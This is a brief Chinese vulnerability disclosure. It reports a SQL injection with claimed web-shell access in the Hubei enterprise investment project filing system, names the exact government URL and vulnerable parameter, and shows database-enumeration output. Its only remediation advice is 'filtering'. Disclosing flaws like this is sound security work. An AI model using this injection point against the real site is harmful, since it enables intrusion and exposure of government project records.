湖北企业投资项目备案系统SQL注入可getshell,包括湖北省企业投资的备案信息,影响较严重,不法分子可通过此漏洞获取到项目备案信息。
http://www.hbinvest.gov.cn/prws/index2.aspx?area_code=420600&str= area_code=420600 存在sql注入漏洞
available databases [12]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] PRS_Common
[*] prws
[*] pubs
[*] RightDB
[*] RPL
[*] tempdb
[*] test
[*] WorkFlow
修复方案:
过滤
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;